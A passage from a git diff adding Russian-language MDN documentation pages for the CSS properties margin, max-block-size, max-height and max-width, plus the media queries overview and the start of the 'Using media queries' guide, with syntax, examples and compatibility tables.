+<p>Чтобы центрировать что-то горизонтально в современных браузерах, вы можете использовать <code><a href="/ru/docs/Web/CSS/display">display</a>: flex; <a href="/ru/docs/Web/CSS/justify-content">justify-content</a>: center;</code> .</p>
+
+<p>Однако в старых браузерах, таких как IE8-9, которые не поддерживают технологию Flexible Box, они недоступны. Чтобы центрировать элемент внутри своего родителя, используйте <code>margin: 0 auto;</code> .</p>
+
+<h3 id="Схлопывание_отступов">Схлопывание отступов</h3>
+
+<p>Иногда внешние отступы (margins) для верхней и нижней сторон схлопываются в один отступ, который равен наибольшему из двух отступов. Смотри <a href="/ru/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Схлопывание внешних отступов</a> для получения большей информации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#margin', 'margin') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>Нет значительных изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td><code>margin</code> определён как анимируемый.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Устраняет его влияние на строковые (inline) элементы..</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#margin', 'margin') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам соответствующий запрос.</div>
+
+<p>{{Compat("css.properties.margin")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="internal" href="/ru/docs/Web/CSS/box_model" title="en/CSS/box model">CSS Box Model</a></li>
+ <li><a class="internal" href="/ru/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing" title="en/CSS/margin collapsing">Схлопывание отступов</a></li>
+</ul>
diff --git a/files/ru/web/css/max-block-size/index.html b/files/ru/web/css/max-block-size/index.html
new file mode 100644
index 0000000000..b76b3084db
--- /dev/null
+++ b/files/ru/web/css/max-block-size/index.html
@@ -0,0 +1,136 @@
+---
+title: max-block-size
+slug: Web/CSS/max-block-size
+translation_of: Web/CSS/max-block-size
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> свойство<strong> <code>max-block-size</code></strong> определяет максимальный горизонтальный или вертикальный размер блока взависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, взависимости от значения определенного в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства <code>max-block-size</code> относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+max-block-size: 300px;
+max-block-size: 25em;
+
+/* &lt;percentage&gt; values */
+max-block-size: 75%;
+
+/* Keyword values */
+max-block-size: none;
+max-block-size: max-content;
+max-block-size: min-content;
+max-block-size: fit-content;
+max-block-size: fill-available;
+
+/* Global values */
+max-block-size: inherit;
+max-block-size: initial;
+max-block-size: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Values">Values</h3>
+
+<p>Свойство <code>max-block-size</code> принимает такие же значения как {{cssxref("max-width")}} и {{cssxref("max-height")}} свойства.</p>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 100%;
+  max-block-size: 200px;
+}</pre>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-max-block-size", "max-block-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("41.0") }}<sup><a href="#compat_hint1">[1]</a></sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Available since Gecko 38, but behind the preference <code>layout.css.vertical-text.enabled</code>, then disabled by default. The preference has been removed in Gecko 51 and this property cannot be disabled since this version.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The mapped physical properties: {{cssxref("max-width")}} and {{cssxref("max-height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/ru/web/css/max-height/index.html b/files/ru/web/css/max-height/index.html
new file mode 100644
index 0000000000..a6ee69d1f8
--- /dev/null
+++ b/files/ru/web/css/max-height/index.html
@@ -0,0 +1,124 @@
+---
+title: max-height
+slug: Web/CSS/max-height
+translation_of: Web/CSS/max-height
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="ru/docs/Web/CSS">CSS</a> <strong><code>max-height</code></strong> устанавливает максимальную высоту элемента. Оно предотвращает <a href="/ru/docs/Web/CSS/used_value">используемое значение</a> свойства {{ Cssxref("height") }} от становления больше, чем значение, указанное для <code>max-height</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-height.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл-реквест.</p>
+
+<p>{{ Cssxref("max-height") }} перекрывает {{cssxref("height")}}, но {{ Cssxref("min-height") }} перекрывает {{ Cssxref("max-height") }}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; значения */
+max-height: 3.5em;
+
+/* &lt;percentage&gt; значения */
+max-height: 75%;
+
+/* Значения-ключевые слова */
+max-height: none;
+max-height: max-content;
+max-height: min-content;
+max-height: fit-content;
+max-height: fill-available;
+
+/* Глобальные значения */
+max-height: inherit;
+max-height: initial;
+max-height: unset;
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Максимальная высота выражается как {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Максимальная высота выражается как {{cssxref("&lt;percentage&gt;")}} от высоты родительского блока.</dd>
+</dl>
+
+<h4 id="Значения-ключевые_слова">Значения-ключевые слова</h4>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Высота не имеет максимального значения.</dd>
+ <dt><code>max-content</code>{{experimental_inline()}}</dt>
+ <dd>Внутренняя предпочтительная высота.</dd>
+ <dt><code>min-content</code>{{experimental_inline()}}</dt>
+ <dd>Внутренняя минимальная высота.</dd>
+ <dt><code>fill-available</code>{{experimental_inline()}}</dt>
+ <dd>Высота родительского блока минус вертикальные <code>margin</code>, <code>border</code>, и <code>padding</code>. (Обратите внимание, что некоторые браузеры реализуют устаревшее имя для этого ключевого слова., <code>available</code>.)</dd>
+ <dt><code>fit-content</code>{{experimental_inline()}}</dt>
+ <dd>То же что и <code>max-content.</code></dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">table { max-height: 75%; }
+
+form { max-height: none; }
+
+</pre>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Убедитесь, что элементы с <code>max-height</code> не обрезаются и / или не закрывают другой контент, когда страница увеличена для увеличения размера текста. </p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-height') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Добавляет ключевые слова <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, и <code>fill-available</code>. (CSS3 Box и CSS3 Writing Modes черновики, используемые для определения этих ключевых слов, были заменены этой спецификацией<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-height') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Определяет <code>max-height</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'max-height') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Поддержка браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.properties.max-height")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/box_model" title="en/CSS/box_model">Блочная модель</a></li>
+ <li>{{ Cssxref("max-width") }}, {{ Cssxref("box-sizing") }}, {{ Cssxref("height") }}, {{ Cssxref("min-height") }}</li>
+</ul>
diff --git a/files/ru/web/css/max-width/index.html b/files/ru/web/css/max-width/index.html
new file mode 100644
index 0000000000..84996127c4
--- /dev/null
+++ b/files/ru/web/css/max-width/index.html
@@ -0,0 +1,169 @@
+---
+title: max-width
+slug: Web/CSS/max-width
+translation_of: Web/CSS/max-width
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="ru/docs/Web/CSS">CSS</a> <strong><code>max-width</code></strong> устанавливает максимальную ширину элемента. Оно предотвращает <a href="/ru/docs/Web/CSS/used_value">используемое значение</a> свойства {{ Cssxref("width") }}  от становления больше, чем значение, указанное для <code>max-width</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-width.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл-реквест.</p>
+
+<p>{{ Cssxref("max-width") }} перекрывает {{cssxref("width")}}, но {{ Cssxref("min-width") }} перекрывает {{ Cssxref("max-width") }}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; значение */
+max-width: 3.5em;
+
+/* &lt;percentage&gt; значение */
+max-width: 75%;
+
+/* Значения-ключевые слова */
+max-width: none;
+max-width: max-content;
+max-width: min-content;
+max-width: fit-content;
+max-width: fill-available;
+
+/* Глобальные значения */
+max-width: inherit;
+max-width: initial;
+max-width: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Максимальная ширина выражается как {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Максимальная ширина выражается как {{cssxref("&lt;percentage&gt;")}} от ширины родительского блока.</dd>
+</dl>
+
+<h4 id="Значения-ключевые_слова">Значения-ключевые слова</h4>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Ширина не имеет максимального значения. (по умолчанию)</dd>
+ <dt><code>max-content</code>{{experimental_inline()}}</dt>
+ <dd>Внутренняя предпочтительная ширина.</dd>
+ <dt><code>min-content</code>{{experimental_inline()}}</dt>
+ <dd>Внутренняя минимальная ширина.</dd>
+ <dt><code>fill-available</code>{{experimental_inline()}}</dt>
+ <dd>Ширина родительского блока минус горизонтальные <code>margin</code>, <code>border</code>, и <code>padding</code>. (Обратите внимание, что некоторые браузеры реализуют устаревшее имя для этого ключевого слова., <code>available</code>.)</dd>
+ <dt><code>fit-content</code>{{experimental_inline()}}</dt>
+ <dd>То же что и <code>max-content.</code></dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В этом примере, "child" будет иметь ширину 150 пикселей или ширину "parent", в зависимости от того, что меньше:</p>
+
+<div id="basic-max-width-demo">
+<pre class="brush: html">&lt;div id="parent"&gt;
+  &lt;div id="child"&gt;
+    Fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child {
+  background: gold;
+  width: 100%;
+  max-width: 150px;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("basic-max-width-demo", 350, 100)}}</p>
+
+<p>Значение <code>fit-content</code> можно использовать для установки ширины элемента на основе внутреннего размера, требуемого его содержимым:</p>
+
+<div id="fit-content-demo">
+<pre class="brush: html" style="display: none;">&lt;div id="parent"&gt;
+    &lt;div id="child"&gt;
+        Child Text
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child  {
+  background: gold;
+  width: 100%;
+  max-width: -moz-fit-content;
+  max-width: -webkit-fit-content;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("fit-content-demo", 400, 100)}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Убедитесь, что элементы с <code>max-width</code> не обрезаются и / или не закрывают другой контент, когда страница увеличена для увеличения размера текста. </p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-width') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Добавляет ключевые слова <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, и <code>fill-available</code>.<em> </em>(CSS3 Box и CSS3 Writing Modes черновики, используемые для определения этих ключевых слов, были заменены этой спецификацией<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-width') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Определяет <code>max-width</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'max-width') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Поддержка браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.properties.max-width")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ Cssxref("width") }}, {{ Cssxref("min-width") }}, {{ Cssxref("max-height") }}</li>
+ <li><a href="/en-US/docs/CSS/box_model" title="en/CSS/box_model">Блочная модель</a>, {{ Cssxref("box-sizing") }}</li>
+</ul>
diff --git a/files/ru/web/css/media_queries/index.html b/files/ru/web/css/media_queries/index.html
new file mode 100644
index 0000000000..b0300f3174
--- /dev/null
+++ b/files/ru/web/css/media_queries/index.html
@@ -0,0 +1,131 @@
+---
+title: Media queries
+slug: Web/CSS/Media_Queries
+tags:
+  - CSS
+  - CSS3 Media Queries
+  - Media Queries
+  - NeedsTranslation
+  - Overview
+  - Reference
+  - Responsive Design
+  - TopicStub
+translation_of: Web/CSS/Media_Queries
+---
+<div>{{CSSRef("CSS3 Media Queries")}}</div>
+
+<p><strong>Media Queries</strong> - ключевой компонент <a href="/en-US/docs/Web/Apps/Progressive/Responsive">отзывчивого дизайна</a>, который делает возможным для CSS адаптироваться в зависимости от различных парметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определенного размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.</p>
+
+<p>Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определенное изображение для использования в элементе {{HTMLElement("picture")}}.</p>
+
+<p>In addition, the {{domxref("Window.matchMedia()")}} method can be used to test the window against a media query. You can also use {{domxref("MediaQueryList.addListener()")}} to be notified whenever the state of the queries changes. With this functionality, your site or app can respond to changes in the device configuration, orientation, or state.</p>
+
+<p>You can learn more about programmatically using media queries in <a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a>.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="At-rules">At-rules</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{cssxref("@media")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Using media queries</a></dt>
+ <dd>Introduces media queries, their syntax, and the operators and media features which are used to construct media query expressions.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a></dt>
+ <dd>Describes how to test media queries from your JavaScript code, programmatically, to determine the state of the device, and to set up listeners that let your code be notified when the results of media queries change (such as when the user rotates the screen, causing an orientation change).</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.7)}}</td>
+   <td>9.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.7)}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/media_queries/using_media_queries/index.html b/files/ru/web/css/media_queries/using_media_queries/index.html
new file mode 100644
index 0000000000..8c3f484537
--- /dev/null
+++ b/files/ru/web/css/media_queries/using_media_queries/index.html
@@ -0,0 +1,120 @@
+---
+title: Использование медиа-запросов
+slug: Web/CSS/Media_Queries/Using_media_queries
+tags:
+  - Веб
+  - Медиа
+  - Медиа верстка
+  - Медиа запросы
+  - Отзывчивый дизайн
+  - Продвинутый
+  - Резиновая вёрстка
+  - Руководство
+translation_of: Web/CSS/Media_Queries/Using_media_queries
+---
+<div>{{cssref}}</div>
+
+<p><strong>Медиазапросы</strong> используются в тех случаях , когда нужно применить разные CSS-стили, для разных устройств по типу отображения (например: для принтера, монитора или смартфона), а также конкретных характеристик устройства  (например: ширины окна просмотра браузера), или внешней среды (например: внешнее освещение). Учитывая огромное количество подключаемых к интернету устройств, медиазапросы являются очень важным инструментом при создании веб-сайтов и приложений, которые будут правильно работать на всех доступных устройствах, которые  есть у Ваших пользователей. </p>
+
+<h2 id="Медиа_для_разных_типов_устройств">Медиа для разных типов устройств</h2>
+
+<p>Медиа запросы позволяют адаптировать страницу для различных типов устройств, таких как: принтеры, речевых браузеров, устройств Брайля, телевизоров и так далее. Например это правило для принтеров:</p>
+
+<pre class="brush: css">@media print { ... }</pre>
+
+<p>Вы также можете писать правила сразу для нескольких устройств. Например этот @media написан сразу для экранов и принтеров:</p>
+
+<pre class="brush: css">@media screen, print { ... }</pre>
+
+<p>Список устройств вы можете найти перейдя по <a href="/en-US/docs/CSS/@media#Media_types">этой ссылке</a>. Но для задания более детальных и узконаправленных правил вам нужно просмотреть следующий раздел.</p>
+
+<h2 id="Узконаправленные_media">Узконаправленные @media</h2>
+
+<p><a href="/en-US/docs/CSS/@media#Media_features">Media features</a> описывают некие характеристики определенного {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили  только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещенности. В примере ниже стили будут применены только когда <em>основное </em>устройство ввода пользователя (например мышь)  будет расположено над элементами:</p>
+
+<pre class="brush: css">@media (hover: hover) { ... }</pre>
+
+<p>Многие медиа-выражения представляют собой функцию диапазона и имеют префиксы "min-" или "max-". Минимальное значение и максимальное значение условия, соответственно. Например этот CSS код применяется только если ширина {{glossary("viewport")}} меньше или равна 12450px:</p>
+
+<pre class="brush: css">@media (max-width: 12450px) { ... }</pre>
+
+<p>Если вы создаете медиа-запрос без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:</p>
+
+<pre class="brush: css">@media (color) { ... }</pre>
+
+<p>Если функция не применима к устройству, на котором работает браузер, выражения, включающие эту функцию, всегда ложны. Например, стили, вложенные в следующий запрос, никогда не будут использоваться, потому что ни одно речевое устройство не имеет формат экрана:</p>
+
+<pre class="brush: css">@media speech and (aspect-ratio: 11/5) { ... }</pre>
+
+<p>Дополнительные примеры медиа запросов, смотрите на <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media#Media_features">справочной странице</a> для каждой конкретной функции.</p>
+
+<h2 id="Создание_комплексных_медиа_запросов">Создание комплексных медиа запросов</h2>
+
+<p>Иногда вы хотите создать медиа-запрос, включающий в себя несколько условий. В таком случае применяются <em>логические операторы</em>: <code>not</code>, <code>and</code>, and <code>only</code>. Кроме того, вы можете объединить несколько медиа-запросов в список через запятую; это позволяет применять одни и те же стили в разных ситуациях.</p>
+
+<p>В прошлом примере мы видели как применяется оператор <code>and</code> для группировки <em>type</em> и функции. Оператор <code>and</code> так же может комбинировать несколько функций в одно медиа-выражение. Между тем, оператор not отрицает медиазапрос, полностью инвертируя его значение. Единственный оператор не позволяет старым браузерам применять стили.</p>
+
+<div class="note">
+<p><strong>Note:</strong> In most cases, the <code>all</code> media type is used by default when no other type is specified. However, if you use the <code>not</code> or <code>only</code> operators, you must explicitly specify a media type.</p>
+</div>
+
+<h3 id="and"><code>and</code></h3>
+
+<p>The <code>and</code> keyword combines a media feature with a media type <em>or</em> other media features. This example combines two media features to restrict styles to landscape-oriented devices with a width of at least 30 ems:</p>
+
+<pre class="brush: css">@media (min-width: 30em) and (orientation: landscape) { ... }</pre>
+
+<p>To limit the styles to devices with a screen, you can chain the media features to the <code>screen</code> media type:</p>
+
+<pre class="brush: css">@media screen and (min-width: 30em) and (orientation: landscape) { ...  }</pre>
+
+<h3 id="comma-separated_lists">comma-separated lists</h3>
+
+<p>You can use a comma-separated list to apply styles when the user's device matches any one of various media types, features, or states. For instance, the following rule will apply its styles if the user's device has either a minimum height of 680px <em>or</em> is a screen device in portrait mode:</p>
+
+<pre class="brush: css">@media (min-height: 680px), screen and (orientation: portrait) { ... }</pre>
+
+<p>Taking the above example, if the user had a printer with a page height of 800px, the media statement would return true because the first query would apply. Likewise, if the user were on a smartphone in portrait mode with a viewport height of 480px, the second query would apply and the media statement would still return true.</p>
+
+<h3 id="not"><code>not</code></h3>
+
+<p>The <code>not</code> keyword inverts the meaning of an entire media query. It will only negate the specific media query it is applied to. (Thus, it will not apply to every media query in a comma-separated list of media queries.) The <code>not</code> keyword can't be used to negate an individual feature query, only an entire media query. The <code>not</code> is evaluated last in the following query:</p>
+
+<pre class="brush: css">@media not all and (monochrome) { ... }
+</pre>
+
+<p>... so that the above query is evaluated like this:</p>
+
+<pre class="brush: css">@media not (all and (monochrome)) { ... }
+</pre>
+
+<p>... rather than like this:</p>
+
+<pre class="example-bad brush: css">@media (not all) and (monochrome) { ... }</pre>
+
+<p>As another example, the following media query:</p>
+
+<pre class="brush: css">@media not screen and (color), print and (color) { ... }
+</pre>
+
+<p>... is evaluated like this:</p>
+
+<pre class="brush: css">@media (not (screen and (color))), print and (color) { ... }</pre>
+
+<h3 id="only"><code>only</code></h3>
+
+<p>The <code>only</code> keyword prevents older browsers that do not support media queries with media features from applying the given styles. <em>It has no effect on modern browsers.</em></p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="only screen and (color)" href="modern-styles.css" /&gt;
+</pre>
+
